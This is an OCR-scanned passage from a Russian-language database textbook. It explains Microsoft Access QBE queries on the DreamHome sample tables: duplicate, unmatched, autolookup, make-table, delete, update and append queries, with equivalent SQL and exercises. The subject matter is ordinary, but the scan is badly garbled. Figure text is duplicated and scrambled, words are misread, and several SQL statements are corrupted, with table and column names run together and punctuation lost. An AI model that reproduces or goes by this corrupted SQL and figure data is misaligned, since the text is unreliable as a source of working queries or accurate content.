FName | LName |±®ParrelCarolFarrelFName | LName |±®ParrelCarolFarrel**Показан полностью в части (с) как вложенный SQL-оператор SELECT (выделен полужирным шрифтом)Показан полностью в части (с) как вложенный SQL-оператор SELECT (выделен полужирным шрифтом)дублирующихся значенийдублирующихся значенийзаписизаписи-|П|х1-|П|х1g™1 Find duplic^^-t for OWNER : Select Queryg™1 Find duplic^^-t for OWNER : Select QueryOnoCO97 0087OnoCO97 0087AddressAddress6 Achray St, Glasgow G32 9OX6 Achray St, Glasgow G32 9DX6 Achray St, Glasgow G32 9OX6 Achray St, Glasgow G32 9DXITeLNo П0141-357-7419 ?0141-357-7419 iITeLNo П0141-357-7419 ?0141-357-7419 i
FName | LName |
±®Parrel
CarolFarrel
FName | LName |
±®Parrel
CarolFarrel
*
*
Показан полностью в части (с) как вложенный SQL-оператор SELECT (выделен полужирным шрифтом)
Показан полностью в части (с) как вложенный SQL-оператор SELECT (выделен полужирным шрифтом)
дублирующихся значений
дублирующихся значений
записи
записи
-|П|х1
-|П|х1
g™1 Find duplic^^-t for OWNER : Select Query
g™1 Find duplic^^-t for OWNER : Select Query
Ono
CO97 0087
Ono
CO97 0087
Address
Address
6 Achray St, Glasgow G32 9OX
6 Achray St, Glasgow G32 9DX
6 Achray St, Glasgow G32 9OX
6 Achray St, Glasgow G32 9DX
ITeLNo П
0141-357-7419 ?
0141-357-7419 i
ITeLNo П
0141-357-7419 ?
0141-357-7419 i
(6)
SELECT DISTINCTROW OWNER.FName, OWNER.LName, OWNER.Ono, OWNER. Address, OWNER.Tel_No
FROM OWNER
WHERE (((OWNER.FName) In (SELECT [FName] FROM [OWNER] AsTmp GROUP BY [FName],[LName] HAVING Count(*)>1 And [LName] = [OWNER]. [LName])))
ORDER BY OWNER.FName, OWNER.LName;
(в)
Рис. 15.12: а) сетка QBE с примером запроса на выборку дубликатов; б) результирующая сетка данных запроса; в) эквивалентный SQL-onepamop запроса
Запросы на выборку записей, не имеющих соответствия
С помощью мастера Find Unmatched Query Wizard, доступ к которому осуществляется из диалогового окна, показанного на рис. 15.2, можно отыскать все записи указанной таблицы, которые не имеют связанных записей в другой таблице. Например, можно выбрать сведения о тех арендаторах, которые еще не осматривали каких- либо сдаваемых в аренду объектов недвижимости — посредством сравнения записей таблиц Renter и Viewing. Мастер создаст запрос на основе предоставленных ему отве-
тов. Прежде чем анализировать результаты выполнения запроса на выборку не имеющих соответствия записей, взгляните на его сетку QBE, общий вид которой показан на рис. 15.13, а. Результирующая сетка данных запроса представлена на рис. 15.13, б. Ее содержимое показывает, что в таблице Renter существует только одна запись, для которой в таблице Viewing нет ни одной связанной записи. Она относится к арендатору с именем 'Mike Ritchie'. Эквивалентный SQL-оператор запроса представлен на рис. 15.13, в.
SELECT DISTINCTROW RENTER.Rno, RENTER.FName, RENTER.LName, RENTER.Tei No
FROM RENTER LEFT JOIN VIEWING ON RENTER.Rno = VIEWING.Rno WHERE (((VIEWING.Rno) Is Null));
(в)
Puc. 15.13: а) сетка QBE с примером запроса на выборку записей, не имеющих соответствия; б) результирующая сетка данных запроса; в) эквивалентный SQL-onepamop запроса
Запросы с выборкой не имеющих соответствия записей являются примером запросов с левым внешним соединением, речь о которых шла в разделах 3.4.1 и 13.3.7.
Запросы с автоподстановкой
Запросы с автоподстановкой могут использоваться для автоматического помещения значений в определенные поля вновь создаваемых записей. При вводе в окне запроса или в окне созданной на базе этого запроса формы некоторого значения в поле, используемое для соединения двух таблиц, СУБД Microsoft Access автоматически отыщет и поместит в указанное место информацию, соответствующую введенному пользователем значению. Если нам известно значение, которое должно быть помещено в поле, используемое для соединения таблиц, — например, поле личного номера работника (Sno), используемое для соединения таблиц Property for Rent и Staff, — то после ввода требуемого личного номера работника СУБД автоматически заполнит оставшиеся поля информацией о данном работнике. Если для веденного значения не будет найдено соответствующей записи, СУБД выведет сообщение об ошибке.
Для создания запроса с автоподстановкой следует поместить в сетку QBE две таблицы, между которыми существует связь типа “один ко многим”, после чего указать поля, которые должны быть помещены в результирующую сетку запроса. Поле соединения должно быть выбрано из таблицы, соответствующей множественной стороне связи. Например, в запросе, содержащем поля таблиц Property_for_Rent и Staff, поле Sno (внешний ключ) следует выбрать из таблицы Property_for_Rent. Вид сетки QBE с подобным запросом показан на рис. 15.14, а. Еще раз обратите внимание на то, что поле соединения таблиц Sno выбрано из таблицы, представляющей множественную часть связи. На рис. 15.14, б показана результирующая сетка данных этого запроса, которая позволяет вводить номер вновь добавляемого объекта недвижимо-
сти, название улицы и город, в котором он расположен. Далее можно будет ввести личный номер работника (например, 'SG37'), который назначается ответственным за этот объект. Как только это поле будет заполнено, СУБД Microsoft Access автоматически выполнит поиск в таблице Staff и поместит имя и фамилию указанного работника в соответствующие поля формы. На рис. 15.14, в показан эквивалентный SQL- оператор данного запроса с автоподстановкой.
Поле Sno (внешний ключ)Поле Sno (внешний ключ)SnoSnoSL41SL411 FName [1 FName [JulieDavidAnnAnn David AnnJulieDavidAnnAnn David AnnLNatne |LNatne |HoweHoweFord>BeechBeech Ford-BeochFord>BeechBeech Ford-BeochAberdeen London Glasgow Glasgow Glasgow GlasgowAberdeen London Glasgow Glasgow Glasgow GlasgowPnoPno_ PA14_ PL54_ PG4. PG36PG21PG 16_ PA14_ PL54_ PG4. PG36PG21PG 16{ Street16 Hulhead6 Argyll St 6 Lawrence St 2 Manor Rd 18 Dale Rd 5 Novar Pt 25 Muir Dnvp{ Street16 Hulhead6 Argyll St 6 Lawrence St 2 Manor Rd 18 Dale Rd 5 Novar Pt 25 Muir DnvpSG37
Поле Sno (внешний ключ)
Поле Sno (внешний ключ)
Sno
Sno
SL41
SL41
1 FName [
1 FName [
Julie
David
Ann
Ann David Ann
Julie
David
Ann
Ann David Ann
LNatne |
LNatne |
Howe
Howe
Ford>
Beech
Beech Ford-
Beoch
Ford>
Beech
Beech Ford-
Beoch
Aberdeen London Glasgow Glasgow Glasgow Glasgow
Aberdeen London Glasgow Glasgow Glasgow Glasgow
Pno
Pno
_ PA14
_ PL54
_ PG4
. PG36
PG21
PG 16
_ PA14
_ PL54
_ PG4
. PG36
PG21
PG 16
{ Street
16 Hulhead
6 Argyll St 6 Lawrence St 2 Manor Rd 18 Dale Rd 5 Novar Pt 25 Muir Dnvp
{ Street
16 Hulhead
6 Argyll St 6 Lawrence St 2 Manor Rd 18 Dale Rd 5 Novar Pt 25 Muir Dnvp
**(6)(6)Пользователь вводит значениядля нового сдаваемогов аренду объектаПользователь вводит значениядля нового сдаваемогов аренду объектаПользовательвводит личныйномер работника*5637’Пользовательвводит личныйномер работника*5637’СУБД ACCESS автоматическизаполняет поля значениями,связанными с личнымномером работника *5637’СУБД ACCESS автоматическизаполняет поля значениями,связанными с личнымномером работника *5637’
*
*
(6)
(6)
Пользователь вводит значениядля нового сдаваемогов аренду объекта
Пользователь вводит значениядля нового сдаваемогов аренду объекта
Пользовательвводит личныйномер работника*5637’
Пользовательвводит личныйномер работника*5637’
СУБД ACCESS автоматическизаполняет поля значениями,связанными с личнымномером работника *5637’
СУБД ACCESS автоматическизаполняет поля значениями,связанными с личнымномером работника *5637’
SELECT PROPERTY FOR RENT. Pno, PROPERTY_FOR_RENTStreet,
PROPERTY_FOR_RENT.City, PROPERTY_FOR_RENT.Sno,
STAFEFName, STAFELName
FROM STAFF INNER JOIN PROPERTY_FOR_RENT ON STAFESno = PROPERTY_FOR_RENTSno;
(в)
Puc. 15.14: а) сетка QBE с примером запроса с автоподстановкой; б) результирующая сетка данных запроса; в) эквивалентный SQL-onepamop запроса
Изменение содержимого таблиц с помощью активных запросов
При создании запроса СУБД Microsoft Access обычно создает запрос на выборку данных, если только в меню Query не будет выбран какой-либо другой тип запроса. После выполнения запроса на выборку СУБД отображает его результирующую сетку данных. Если эта сетка допускает обновление содержащихся в ней данных, то требуемые изменения можно вносить непосредственно в результаты выполнения запроса, однако в этом случае записи можно будет модифицировать только поодиночке, последовательно, одну за другой.
В случае, если необходимо выполнить большое количество сходных изменений, время выполнения задания можно существенно сократить, используя активный запрос. Активный запрос позволяет вносить изменения сразу в несколько записей. Существует четыре типа активных запросов: запросы создания таблиц, запросы удаления, запросы обновления и запросы добавления записей.
Активные запросы создания таблиц
Активные запросы создания таблиц позволяют создавать новые таблицы на базе всех или части данных одной или нескольких уже существующих таблиц. Вновь созданная таблица может быть сохранена в текущей открытой базе данных или экспортирована в другую базу данных. Отметим, что данные в новой таблице не наследуют свойств полей исходных таблиц, включая и определение первичного ключа. Вся эта информация должна дополнительно вводиться вручную, как было описано в главе 12. Запросы создания таблиц могут быть полезны во многих случаях — например, для сбора исторической информации, создания моментальных снимков состояния данных или для увеличения производительности программ форм и отчетов, использующих многотабличные запросы.
Предположим, что требуется создать новую таблицу StaffCut, которая должна содержать столбцы Sno, FName, LName, Position и Salary, заполненные данными из существующей таблицы Staff. Прежде всего необходимо подготовить запрос, предназначенный для выбора указанных полей из таблицы Staff. Затем в режиме Design View следует изменить тип созданного запроса на Make-Table, в результате чего на экран будет выведено диалоговое окно, показанное на рис. 15.15, а. Это диалоговое окно содержит предложение указать имя и местоположение новой таблицы. На рис. 15.15, б показана сетка QBE с подготовленным активным запросом создания таблицы. После запуска запроса на выполнение СУБД выведет предупреждающее сообщение с предложением указать, следует ли продолжить операцию создания новой таблицы. Вид этого сообщения представлен на рис. 15.15, в. Если создание таблицы будет продолжено, СУБД создаст новую таблицу с именем StaffCut, содержимое которой показано на рис. 15.15, г. Эквивалентный SQL-оператор запроса представлен на рис. 15.15, д.
Активные запросы удаления
Активные запросы удаления предназначены для удаления групп записей из одной или более таблиц. Один запрос удаления может использоваться для удаления записей из одной таблицы; из нескольких таблиц, между которыми существует связь типа “один к одному”; из нескольких таблиц, между которыми существует отношение “один ко многим”, но только в том случае, если установленные правила поддержки ссылочной целостности разрешают каскадное обновление.
Например, предположим, что требуется удалить все сведения об объектах недвижимости, расположенных в городе Глазго, а также все связанные с ними записи об осмотрах. Для выполнения этой операции прежде всего следует создать запрос, предназначенный для выборки соответствующих сведений из таблицы Property for Rent. Затем в режиме Design View тип запроса должен быть изменен на Delete. Сетка QBE с созданным активным запросом удаления показана на рис. 15.16, а. Поскольку между таблицами Property_for_Rent и Viewing существует связь типа “один ко многим”, причем для нее установлено правило поддержки ссылочной целостности Cascade Delete Related records, будут удалены все строки таблицы Viewing, содержащие сведения об осмотрах объектов, расположенных в городе Глазго. При запуске запроса на выполнение система выведет предупреждающее сообщение, предлагающее подтвердить необходимость продолжения операции удаления. Общий вид окна этого сообщения показан на рис. 15.16, б. Если выполнение операции удаления будет продолжено, система удалит все записи таблицы Property_for_Rent, отвечающие заданному условию, а также все связанные с ними записи таблицы Viewing — как показано на рис. 15.16, виг. Эквивалентный SQL-оператор запроса представлен на рис. 15.16, д.
Имя новой таблицы/Имя новой таблицы/Расположение новой таблицыРасположение новой таблицыCurrent DatabaseCurrent Database(В)(В)SnoSnoFNameFNameЕсли ответ YesЕсли ответ YesДанные таблицы Staffcut —Данные таблицы Staffcut —SG37 SG14 SA^ SG6 SL41SG37 SG14 SA^ SG6 SL41i LNameWhite BeechFordHnweBrandi LNameWhite BeechFordHnweBrand| PositionManager Snr AsstDeputy AssistantManager Assistant| PositionManager Snr AsstDeputy AssistantManager AssistantI Salary 30000 12000 16000 9000 24000 9000I Salary 30000 12000 16000 9000 24000 9000Record: К I < H(r)Record: К I < H(r)Выбранные столбцы, скопированные из таблицы StaffВыбранные столбцы, скопированные из таблицы Staff
Имя новой таблицы/
Имя новой таблицы/
Расположение новой таблицы
Расположение новой таблицы
Current Database
Current Database
(В)
(В)
Sno
Sno
FName
FName
Если ответ Yes
Если ответ Yes
Данные таблицы Staffcut —
Данные таблицы Staffcut —
SG37 SG14 SA^ SG6 SL41
SG37 SG14 SA^ SG6 SL41
i LName
White Beech
Ford
Hnwe
Brand
i LName
White Beech
Ford
Hnwe
Brand
| Position
Manager Snr Asst
Deputy Assistant
Manager Assistant
| Position
Manager Snr Asst
Deputy Assistant
Manager Assistant
I Salary 30000 12000 16000 9000 24000 9000
I Salary 30000 12000 16000 9000 24000 9000
Record: К I < H
(r)
Record: К I < H
(r)
Выбранные столбцы, скопированные из таблицы Staff
Выбранные столбцы, скопированные из таблицы Staff
M<ike Т able
' Make New Table /Table Name; pTAHKUr
SELECT STAFF.Sno, STAFF.FName, STAFF.LName,
STAFF.Position, STAFESalary INTO STAFFCUT
FROM STAFF;
(Д)
Puc. 15.15: а) диалоговое окно Make Table; б) сетка QBE с примером запроса создания таблицы; в) вид окна предупреждающего сообщения; г) результирующая сетка данных запроса; д) эквивалентный SQL оператор запроса
Имя новой таблицы /
Make ТоЫеИ ЕЗ
You are about to paste G row(i) into a now table.
Onoe you click Yet. you can't use the Undo command to reverie the
Are you sure you want to create a new table wth the toileted record!?
Oil SIAM! Ill
(8)(8)Если ответ YesЕсли ответ YesSnoOft '""SG37 SG14 SA9 SG5 SI 41SnoOft '""SG37 SG14 SA9 SG5 SI 41FNameDavid Mary SusanFNameDavid Mary SusanJ LNameWhite Beech Ford Howe BrandI ееJ LNameWhite Beech Ford Howe BrandI ее[ A Position Manager Snr Asst Deputy Assistant Manager Assistant[ A Position Manager Snr Asst Deputy Assistant Manager AssistantLJl^OLJi30000I12000]18000।9000i24000I9000;LJl^OLJi30000I12000]18000।9000i24000I9000;Данные таблицы Staffcut —Данные таблицы Staffcut —Выбранные столбцы, скопированные из таблицы StaffВыбранные столбцы, скопированные из таблицы Staff
(8)
(8)
Если ответ Yes
Если ответ Yes
SnoOft '""
SG37 SG14 SA9 SG5 SI 41
SnoOft '""
SG37 SG14 SA9 SG5 SI 41
FName
David Mary Susan
FName
David Mary Susan
J LName
White Beech Ford Howe Brand
I ее
J LName
White Beech Ford Howe Brand
I ее
[ A Position Manager Snr Asst Deputy Assistant Manager Assistant
[ A Position Manager Snr Asst Deputy Assistant Manager Assistant
LJl^OLJi
30000I
12000]
18000।
9000i
24000I
9000;
LJl^OLJi
30000I
12000]
18000।
9000i
24000I
9000;
Данные таблицы Staffcut —
Данные таблицы Staffcut —
Выбранные столбцы, скопированные из таблицы Staff
Выбранные столбцы, скопированные из таблицы Staff
SELECT STAFESno, STAFEFName, STAFELName, STAFEPosition, STAFESalary INTO STAFFCUT FROM STAFF*.
(Д)
Puc. 15.16: а) сетка QBE с примером активного Запроса удаления; б) вид предупреждающего сообщения; в) содержимое таблицы Property_for_Rent после удаления записей; г) содержимое таблицы Viewing после удаления записей; д) эквивалентный SQLonepamop запроса
Активные запросы обновления
Активные запросы обновления выполняют глобальные обновления в группах записей одной или более таблиц. Например, предположим, что арендную плату за все сдаваемые в аренду объекты необходимо увеличить на 10%. Для выполнения подобного обновления прежде всего надо создать запрос на выборку данных из таблицы Propery_for_Rent. Затем в режиме Design View следует изменить тип запроса на Update. В ячейку Update То столбца Rent необходимо поместить выражение '[Rent]*1.1' — как показано на рис. 15.17, а. После запуска запроса на выполнение система выведет предупреждающее сообщение, показанное на рис. 15.17, б, которое содержит предложение подтвердить необходимость выполнения операции обновления. Если выполнение операции будет продолжено, система обновит значения в столбце Rent таблицы Property_for Rent, как показано на рис. 15.17, в. Эквивалентный SQL-оператор запроса представлен на рис. 15.17, г.
(В)(В)(б)(б)us1 Queiyl " Select Qumyus1 Queiyl " Select QumyЕсли ответ YesЕсли ответ YesЯИГ _ PG16 ZjF-G21 _ PC-36 ^JPG4PL94ЯИГ _ PG16 ZjF-G21 _ PC-36 ^JPG4PL94**Целевая таблица для обновленияЦелевая таблица для обновленияСтрока Update То—Строка Update То—Сетка QBE для обновления(a)Сетка QBE для обновления(a)Выражения для увеличения значений в поле Rent на 10%Выражения для увеличения значений в поле Rent на 10%You ore ebout to update 6 row(x).Once you clict. Yes. you can't use the Undo command to reverse the - chancesAre you sure you went to update these records?,You ore ebout to update 6 row(x).Once you clict. Yes. you can't use the Undo command to reverse the - chancesAre you sure you went to update these records?,РпГ~7 city"JРпГ~7 city"JAberdeen Glasgow Glasgow Glasgow Glasgow LondonAberdeen Glasgow Glasgow Glasgow Glasgow LondonI louse Flat House Flat Flat FlatI louse Flat House Flat Flat FlatНо |Но |«wo«wo715495660 41? 5305440715495660 41? 5305440Значения в столбце Rent увеличены на 10%Значения в столбце Rent увеличены на 10%
(В)
(В)
(б)
(б)
us1 Queiyl " Select Qumy
us1 Queiyl " Select Qumy
Если ответ Yes
Если ответ Yes
ЯИГ _ PG16 ZjF-G21 _ PC-36 ^JPG4
PL94
ЯИГ _ PG16 ZjF-G21 _ PC-36 ^JPG4
PL94
*
*
Целевая таблица для обновления
Целевая таблица для обновления
Строка Update То—
Строка Update То—
Сетка QBE для обновления
(a)
Сетка QBE для обновления
(a)
Выражения для увеличения значений в поле Rent на 10%
Выражения для увеличения значений в поле Rent на 10%
You ore ebout to update 6 row(x).
Once you clict. Yes. you can't use the Undo command to reverse the - chances
Are you sure you went to update these records?,
You ore ebout to update 6 row(x).
Once you clict. Yes. you can't use the Undo command to reverse the - chances
Are you sure you went to update these records?,
РпГ~7 city"J
РпГ~7 city"J
Aberdeen Glasgow Glasgow Glasgow Glasgow London
Aberdeen Glasgow Glasgow Glasgow Glasgow London
I louse Flat House Flat Flat Flat
I louse Flat House Flat Flat Flat
Но |
Но |
«wo
«wo
715
495
660 41? 5
305
440
715
495
660 41? 5
305
440
Значения в столбце Rent увеличены на 10%
Значения в столбце Rent увеличены на 10%
(г) UPDATE PROPERTY JOR.RENT SET PROPERTY_FOR„RENTRent = [Rent]* 1.1;
Puc. 15.17: а) сетка QBE с примером активного запроса обновления; б) вид окна предупреждающего сообщения; в) результирующая сетка данных запроса; г) эквивалентный SQL-onepamop запроса
Активные запросы добавления записей
Активные запросы добавления записей предназначены для вставки записей из одной или более исходных таблиц в единственную целевую таблицу. Записи могут быть добавлены в конец таблицы, принадлежащей той же самой или другой базе данных. Запросы добавления записей могут быть полезны при добавлении строк (исходя из заданного критерия) или даже в тех случаях, когда некоторых полей в другой таблице не существует. Например, предположим, что необходимо поместить в таблицу Owner подробные сведения о новых владельцах объектов недвижимости, сдаваемых в аренду. Предположим также, что сведения об этих новых владельцах находятся в таблице с именем NewOwner, которая содержит только столбцы Ono, FName, LName и Address. Более того, в таблицу Owner требуется поместить сведения только о тех новых владельцах, которые проживают в городе Глазго. В этом примере таблица Owner является целевой таблицей запроса, а таблица NewOwner — исходной.
Создание активного запроса добавления записей следует начать с подготовки обычного запроса, предназначенного для извлечения требуемой информации из исходных таблиц — в нашем случае это таблица NewOwner. Затем тип вновь созданного запроса следует изменить на Append, в результате чего на экран будет выведено диалоговое окно, показанное на рис. 15.18, а. Это диалоговое окно предназначено для указания имени и расположения целевой таблицы создаваемого запроса добавления. Сетка QBE с подготовленным активным запросом добавления записей показана на рис. 15.18, б. После запуска запроса на выполнение система выведет предупреж-
дающее сообщение, вид которого показан на рис. 15.18, в. В этом сообщении пользователю предлагается подтвердить необходимость выполнения начатой операции добавления записей. Если выполнение запроса будет продолжено, в таблицу Owner будут добавлены две новые записи с данными о владельцах объектов недвижимости из города Глазго, выбранные из таблицы NewOwner, как показано на рис. 15.18, г. Эквивалентный SQL-оператор запроса представлен на рис. 15.18, д.дающее сообщение, вид которого показан на рис. 15.18, в. В этом сообщении пользователю предлагается подтвердить необходимость выполнения начатой операции добавления записей. Если выполнение запроса будет продолжено, в таблицу Owner будут добавлены две новые записи с данными о владельцах объектов недвижимости из города Глазго, выбранные из таблицы NewOwner, как показано на рис. 15.18, г. Эквивалентный SQL-оператор запроса представлен на рис. 15.18, д.Имя целевой таблицыИмя целевой таблицыAppendAppend(а)(а)Строка - Append ToСтрока - Append ToField TableSort Append T a Enter 1»Field TableSort Append T a Enter 1»Сетка QBE для добавления ^jСетка QBE для добавления ^jЕсли ответ Yes,Если ответ Yes,(e)(e)Append ТоTable Ц*пе< [OWNER ■Расположение " ^ Current Database целевой таблицы г Another Database;Append ТоTable Ц*пе< [OWNER ■Расположение " ^ Current Database целевой таблицы г Another Database;NEWOWNERNEWOWNERГ Name NEWOWNERГ Name NEWOWNERLMame NEWOWNERLMame NEWOWNER™ FNwe" ‘ "™ FNwe" ‘ "LNameLName^22-1-i^22-1-iAddren "" NEWOWNERAddressAddren "" NEWOWNERAddressВыбранные поля в таблице Критерий отбораВыбранные поля в таблице Критерий отбораNewOwner (исходной)NewOwner (исходной)You ere ebout to append 2 tow(a).You ere ebout to append 2 tow(a).Like "Glaigow'Like "Glaigow'владельцев - только в Глазговладельцев - только в ГлазгоOnce you click Yee, you cant use the Undo commend to reverie the changeeА в you sure you want to append the tended row:7Once you click Yee, you cant use the Undo commend to reverie the changeeА в you sure you want to append the tended row:7
дающее сообщение, вид которого показан на рис. 15.18, в. В этом сообщении пользователю предлагается подтвердить необходимость выполнения начатой операции добавления записей. Если выполнение запроса будет продолжено, в таблицу Owner будут добавлены две новые записи с данными о владельцах объектов недвижимости из города Глазго, выбранные из таблицы NewOwner, как показано на рис. 15.18, г. Эквивалентный SQL-оператор запроса представлен на рис. 15.18, д.
дающее сообщение, вид которого показан на рис. 15.18, в. В этом сообщении пользователю предлагается подтвердить необходимость выполнения начатой операции добавления записей. Если выполнение запроса будет продолжено, в таблицу Owner будут добавлены две новые записи с данными о владельцах объектов недвижимости из города Глазго, выбранные из таблицы NewOwner, как показано на рис. 15.18, г. Эквивалентный SQL-оператор запроса представлен на рис. 15.18, д.
Имя целевой таблицы
Имя целевой таблицы
Append
Append
(а)
(а)
Строка - Append To
Строка - Append To
Field Table
Sort Append T a Enter 1»
Field Table
Sort Append T a Enter 1»
Сетка QBE для добавления ^j
Сетка QBE для добавления ^j
Если ответ Yes,
Если ответ Yes,
(e)
(e)
Append То
Table Ц*пе< [OWNER ■
Расположение " ^ Current Database целевой таблицы г Another Database;
Append То
Table Ц*пе< [OWNER ■
Расположение " ^ Current Database целевой таблицы г Another Database;
NEWOWNER
NEWOWNER
Г Name NEWOWNER
Г Name NEWOWNER
LMame NEWOWNER
LMame NEWOWNER
™ FNwe" ‘ "
™ FNwe" ‘ "
LName
LName
^22-1-i
^22-1-i
Addren "" NEWOWNER
Address
Addren "" NEWOWNER
Address
Выбранные поля в таблице Критерий отбора
Выбранные поля в таблице Критерий отбора
NewOwner (исходной)
NewOwner (исходной)
You ere ebout to append 2 tow(a).
You ere ebout to append 2 tow(a).
Like "Glaigow'
Like "Glaigow'
владельцев - только в Глазго
владельцев - только в Глазго
Once you click Yee, you cant use the Undo commend to reverie the changee
А в you sure you want to append the tended row:7
Once you click Yee, you cant use the Undo commend to reverie the changee
А в you sure you want to append the tended row:7
WNLWUWNIH lobio
Г I One I FName] LHame |Г I One I FName] LHame |AddrewAddrewСО121COI23 С0126СО121COI23 С0126BrendaRobmBrendaRobmBrown McGregor Plevin RogersBrown McGregor Plevin Rogers220 Merry Dr, Banchory, Aberdeen AB2 6DH34 Jordanhill Av, Jordanhill, Glasgow G10 7GH6 Dove Gr, Strathbungo, Glasgow G331 Brrdly Rd, City Centre, Edinburgh, EH9 RR4220 Merry Dr, Banchory, Aberdeen AB2 6DH34 Jordanhill Av, Jordanhill, Glasgow G10 7GH6 Dove Gr, Strathbungo, Glasgow G331 Brrdly Rd, City Centre, Edinburgh, EH9 RR41 Копирование записей . J о владельцах из Глазго в конец таблицы Owner1 Копирование записей . J о владельцах из Глазго в конец таблицы Owner№ UWNMl labh-№ UWNMl labh-AddreeeAddreeeCO123CO46CO87CO93CO123CO46CO87CO93RobinRobinMcGregorMurphy KeoghMcGregorMurphy Keogh34 Jordanhill Av, Jordanhill, Glasgow G10 7GH6 Dove Gr, Strathbungo, Glasgow G3363 Well St, Shawlands, Glasgow G422 Fergus Dr, Banchory, Aberdeen AB2 7SX6 Achray St, Glasgow G32 9DX12 Park Pl, Hillhead, Glasgow G4 OQR34 Jordanhill Av, Jordanhill, Glasgow G10 7GH6 Dove Gr, Strathbungo, Glasgow G3363 Well St, Shawlands, Glasgow G422 Fergus Dr, Banchory, Aberdeen AB2 7SX6 Achray St, Glasgow G32 9DX12 Park Pl, Hillhead, Glasgow G4 OQRTeLNeTeLNe0141-943-1726 01224-661212 0141-357-7419 0141-225-70250141-943-1726 01224-661212 0141-357-7419 0141-225-7025
Г I One I FName] LHame |
Г I One I FName] LHame |
Addrew
Addrew
СО121
COI23 С0126
СО121
COI23 С0126
Brenda
Robm
Brenda
Robm
Brown McGregor Plevin Rogers
Brown McGregor Plevin Rogers
220 Merry Dr, Banchory, Aberdeen AB2 6DH
34 Jordanhill Av, Jordanhill, Glasgow G10 7GH
6 Dove Gr, Strathbungo, Glasgow G33
1 Brrdly Rd, City Centre, Edinburgh, EH9 RR4
220 Merry Dr, Banchory, Aberdeen AB2 6DH
34 Jordanhill Av, Jordanhill, Glasgow G10 7GH
6 Dove Gr, Strathbungo, Glasgow G33
1 Brrdly Rd, City Centre, Edinburgh, EH9 RR4
1 Копирование записей . J о владельцах из Глазго в конец таблицы Owner
1 Копирование записей . J о владельцах из Глазго в конец таблицы Owner
№ UWNMl labh-
№ UWNMl labh-
Addreee
Addreee
CO123
CO46
CO87
CO93
CO123
CO46
CO87
CO93
Robin
Robin
McGregor
Murphy Keogh
McGregor
Murphy Keogh
34 Jordanhill Av, Jordanhill, Glasgow G10 7GH
6 Dove Gr, Strathbungo, Glasgow G33
63 Well St, Shawlands, Glasgow G42
2 Fergus Dr, Banchory, Aberdeen AB2 7SX
6 Achray St, Glasgow G32 9DX
12 Park Pl, Hillhead, Glasgow G4 OQR
34 Jordanhill Av, Jordanhill, Glasgow G10 7GH
6 Dove Gr, Strathbungo, Glasgow G33
63 Well St, Shawlands, Glasgow G42
2 Fergus Dr, Banchory, Aberdeen AB2 7SX
6 Achray St, Glasgow G32 9DX
12 Park Pl, Hillhead, Glasgow G4 OQR
TeLNe
TeLNe
0141-943-1726 01224-661212 0141-357-7419 0141-225-7025
0141-943-1726 01224-661212 0141-357-7419 0141-225-7025
Record: «I 1 It
(r)
INSERT INTO OWNER (Ono, FName, LName, Address) SELECT NEWOWNER.Ono, NEWOWNER.FName, NEWOWNER.LName,NEWOWNER.Address
FROM NEWOWNER
WHERE (((NEWOWNER-Address) Like "Glasgow”));
Puc. 15.18: а) диалоговое окно Append; б) сетка QBE с примером активного запроса добавления записей; в) вид окна с предупреждающим сообщением; г) содержимое таблиц NewOwner и Owner после выполнения запроса; д) эквивалентный SQL-onepamop запроса
Упражнения
Создайте таблицы учебного приложения DreamHome, содержимое которых представлено в табл. 3.3-3.8, и выполните все, приведенные в этой главе примеры, используя средства поддержки языка QBE, предоставляемые той СУБД, с которой вы постоянно работаете.
Создайте перечисленные ниже QBE-запросы на выборку данных из таблиц учебного приложения DreamHome, используя средства поддержки языка QBE, предоставляемые той СУБД, с которой вы постоянно работаете:
выберите номер отделения, адрес и номер телефона для всех существующих отделений компании;
выберите личные номера работников, их должности и сумму заработной платы всех сотрудников компании, работающих в отделении с номером 'ВЗ';
выберите подробные сведения обо всех квартирах, сдаваемых в аренду в городе Глазго;
выберите полные сведения обо всех работающих в компании женщинах, возраст которых превышает 25 лет;
выберите полные имена и номера телефонов всех клиентов компании, которые осматривали квартиры, сдаваемые в аренду в городе Глазго;
выберите сведения о количестве сдаваемых в аренду объектов каждого существующего типа;
определите общее количество персонала, работающего в каждом из отделений компании, упорядочив результаты по возрастанию номеров отделений компании.
Создайте перечисленные ниже QBE-запросы на выборку данных из таблиц учебного приложения DreamHome. используя более сложные средства поддержки языка QBE, предоставляемые той СУБД, с которой вы постоянно работаете:
создайте параметрический запрос, в котором пользователь сможет указать номер интересующего его объекта недвижимости, а затем просмотреть подробное описание этого объекта;
создайте параметрический запрос, позволяющий указать имя и фамилию работника компании и отображающий все сведения о сдаваемых в аренду объектах, за которые этот работник отвечает;
введите несколько новых записей в таблицу Property_for_Rent, отражающих тот факт, что владельцы недвижимости 'Carol Parrel' и 'Топу Shaw' владеют множеством объектов в нескольких городах. Подготовьте запрос на выборку, отображающий сведения о количестве объектов недвижимости, принадлежащих отдельным владельцам в каждом из городов. Затем преобразуйте этот запрос в перекрестный и оцените, насколько удобнее новое представление информации с точки зрения сравнительного анализа количества объектов собственности, принадлежащих каждому из владельцев в каждом из городов;
внесите в таблицу Staff ошибку, поместив в нее дополнительную запись о сотруднике с именем 'David Ford' и присвоив ему новый личный номер. Для выявления этой ошибки подготовьте соответствующий запрос выборки дубликатов;
подготовьте запрос на выборку записей, не имеющих соответствия, с целью определения того, кто из работников компании в данный момент не отвечает ни за один из объектов недвижимости;
создайте запрос с автоподстановкой, в котором при вводе новой записи в таблицу Property__for_Rent будут автоматически выводиться сведения об указанном владельце объекта недвижимости, если только этот владелец уже описан в базе данных.
Для выполнения перечисленных ниже действий создайте активные запросы обработки данных в таблицах учебного приложения DreamHome, используя соответствующие средства поддержки языка QBE, предоставляемые той СУБД, с которой вы постоянно работаете:
создайте сокращенную версию таблицы Property_for_Rent под названием PropertyGlasgow, которая будет включать столбцы Pno, Street, Pcode и Туре исходной таблицы и содержать сведения только об объектах недвижимости, расположенных в городе Глазго;
удалите из таблицы Viewing все строки с незаполненными полями Comment;
увеличьте на 12,5% зарплату всего персонала компании, за исключением менеджеров;
создайте таблицу под названием NewRenter, содержащую подробные сведения о потенциальных клиентах компании. Затем добавьте содержащуюся в этой таблице информацию в таблицу Renter.
Используя таблицы учебного приложения DreamHome создайте эквивалентные QBE-запросы для всех примеров SQL-операторов, приведенных в главе 13.
566594643566594643
566
594
643
566
594
643
Некоторые аспекты эксплуатации баз данных
Глава 16. Защита баз данных
Глава 17. Управление транзакциями
Глава 18. Обработка запросов
